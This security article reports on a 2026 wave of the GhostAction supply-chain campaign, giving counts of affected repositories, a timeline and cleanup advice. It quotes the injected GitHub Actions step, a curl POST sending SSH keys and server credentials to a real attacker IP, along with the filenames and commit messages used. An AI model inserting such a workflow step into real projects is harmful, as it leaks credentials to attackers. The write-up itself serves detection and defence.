It Never Left: GhostAction Hit 772 More Repos While 84% of Victims Stayed Dirty
In September 2025, GitGuardian documented GhostAction: a supply-chain campaign that injected a secret-stealing workflow into 817 public repositories across 327 GitHub users and exfiltrated at least 3,325 secrets. On 7 October 2026, GitGuardian reported the campaign's latest wave: between 31 August and 30 September 2026, the same injected workflow landed in 772 public repositories belonging to 373 users and organisations, targeting 2,577 secrets. The technique is unchanged. The exfiltration endpoint moved to a bare IP over plain HTTP: 193.32.204.199.
The headline number understates the finding. GitGuardian's position is that calling this a revival would be inaccurate — the campaign never stopped. The evidence is in the commits: in 92 cases the attacker did not add a new workflow at all. They modified one already sitting in the repository, with the commit message Update Github Actions Security workflow, repointing implants injected during earlier waves at the new endpoint. Those implants had never been removed.
Same workflow, new endpoint
The 2026 wave reuses the exact 2025 playbook. A workflow file named github_actions_security.yml is committed with the message Add Github Actions Security workflow, every commit made under the victim's own identity using what appear to be previously stolen credentials. Rather than dumping the whole environment, the workflow hardcodes the secret names the attacker found referenced in the repository's legitimate workflows and ships their values in a single curl POST:
run: |
curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}&VPS_USER=${{ secrets.VPS_USER }}' http://193.32.204.199
The only significant change from 2025 is the destination. The September 2025 wave used bold-dhawan.45-139-104-115.plesk.page and carte-avantage.com; this wave posts over unencrypted HTTP to a bare IP. On 7 September a small variant surfaced in 7 repositories — file security-check.yml, commit Add security check workflow — posting to a dedicated API on the same server with a per-injection identifier (hxxp://193.32.204.199:3000/api/workflow/receive?inj=<id>), which suggests the attacker now runs a backend that tracks which injection each stolen secret came from. That is operational maturity, not opportunism.
Tracing the workflow template through GitGuardian's historical data gives a continuous timeline, not discrete waves: roughly 900 repositories in September 2025, around 75 across October–December 2025 and March 2026 against 170.39.218.2, around 250 in November 2025 and March–April 2026 against Interactsh (*.oast.fun) endpoints, and the current wave against 193.32.204.199. This same injection technique was later reused in the Shai-Hulud campaigns — which we covered in the S1ngularity retrospective — and remains at the core of the Mini Shai-Hulud malware family still in use today.
Three bursts, and GitHub's approval gate did most of the defending
The injections arrived in three bursts: 143 repositories on 31 August, about 400 between 2 and 5 September (peaking at 294 on the 5th), and 103 on 15 September, with smaller injections continuing through month-end. The most targeted secret classes were SSH private keys and deployment-server credentials (446), Azure credentials (218 — one organisation alone exposed an Azure PAT plus an SSH key across 92 repositories), container registry credentials (142), database credentials (112), AWS keys (106), FTP credentials (92), Google Cloud and Firebase credentials (80), and GitHub tokens (66), alongside bot tokens and npm, PyPI, and AI-provider keys.
The damage was smaller than the targeting because of an accident of platform design. Matching the malicious workflow against its GitHub Actions run records, GitGuardian found that GitHub held most runs for approval: of 3,669 runs collected across 605 repositories, only 499 executed, in 32 repositories — mostly triggered by legitimate commits pushed after the injection rather than by the injection itself. In total 336 runs completed and exfiltrated 26 secrets from 13 repositories, with new runs still triggering at the time of writing. First-time-contributor approval gating absorbed the overwhelming majority of the blast radius. That is a fragile defence to depend on: it holds only for public repos with the default fork-PR approval settings intact.
The cleanup number is the story
By 5 October 2026, only 124 of the repositories — 16% — had been effectively cleaned in observable public history, though dozens of later commits explicitly describe removing a malicious or credential-exfiltrating workflow. The replaced endpoints in the 92 “update” commits include the original September 2025 domains and the previously undocumented 170.39.218.2, confirming those implants sat live for a year.
This is the same failure mode as the SubQL artifact-substitution incident and the indexed-btree runtime-trigger bypass: the compromise is discovered, the advisory is written, and the malicious object stays exactly where it was. GhostAction adds a crueller twist — unremoved implants are not just residual risk, they are maintained infrastructure the attacker revisits and repoints.
What to do
- Hunt for the filenames, not the endpoint. Search your orgs for
github_actions_security.ymlandsecurity-check.ymland for commits titled Add Github Actions Security workflow, Add security check workflow, and Update Github Actions Security workflow. The endpoint changes every wave; the filenames and messages have been stable for over a year. - Audit workflow run history, not just the tree. A deleted workflow file does not tell you whether its runs executed. Check Actions run records for the injected workflows — any completed run means the secrets it named were transmitted and must be rotated, not just the file removed.
- Rotate everything the workflow named. The injected workflow lists the exact secret names it exfiltrated. Treat every named secret in every repo with a completed run as compromised: cloud keys, registry credentials, SSH deploy keys, PATs, bot tokens.
- Trace how the commit was authenticated. Every injection rode the victim's own identity on apparently stolen credentials. Find the leaked credential that enabled the push — a PAT in an old commit, a token in CI logs — or the next wave walks in the same way.
- Keep first-time-contributor approval gating on. It absorbed nearly the entire September blast radius by accident. Verify it is still the default on every public repository you own, and extend equivalent approval controls to workflow changes from automated accounts and apps.
Verification note: we read the GitGuardian report directly for the wave dates (31 August–30 September 2026), repository and victim counts (772 repos, 373 users/orgs, 2,577 targeted secrets), the three injection bursts, the workflow filename and commit messages, the exfiltration endpoint (193.32.204.199) and the 7-repository security-check.yml variant, the run statistics (3,669 runs, 499 executed, 336 completed, 26 secrets from 13 repos), the cleanup figure (124 repos, 16%, by 5 October 2026), the 92 “update” commits, the historical endpoint timeline, the secret-type breakdown, and the Shai-Hulud / Mini Shai-Hulud connection. The 2025 baseline figures (817 repos, 327 users, 3,325 secrets) come from the same report's recap. We did not independently reproduce the telemetry, did not contact the hosting provider of the exfiltration IP, and did not test any workflow.
Sources: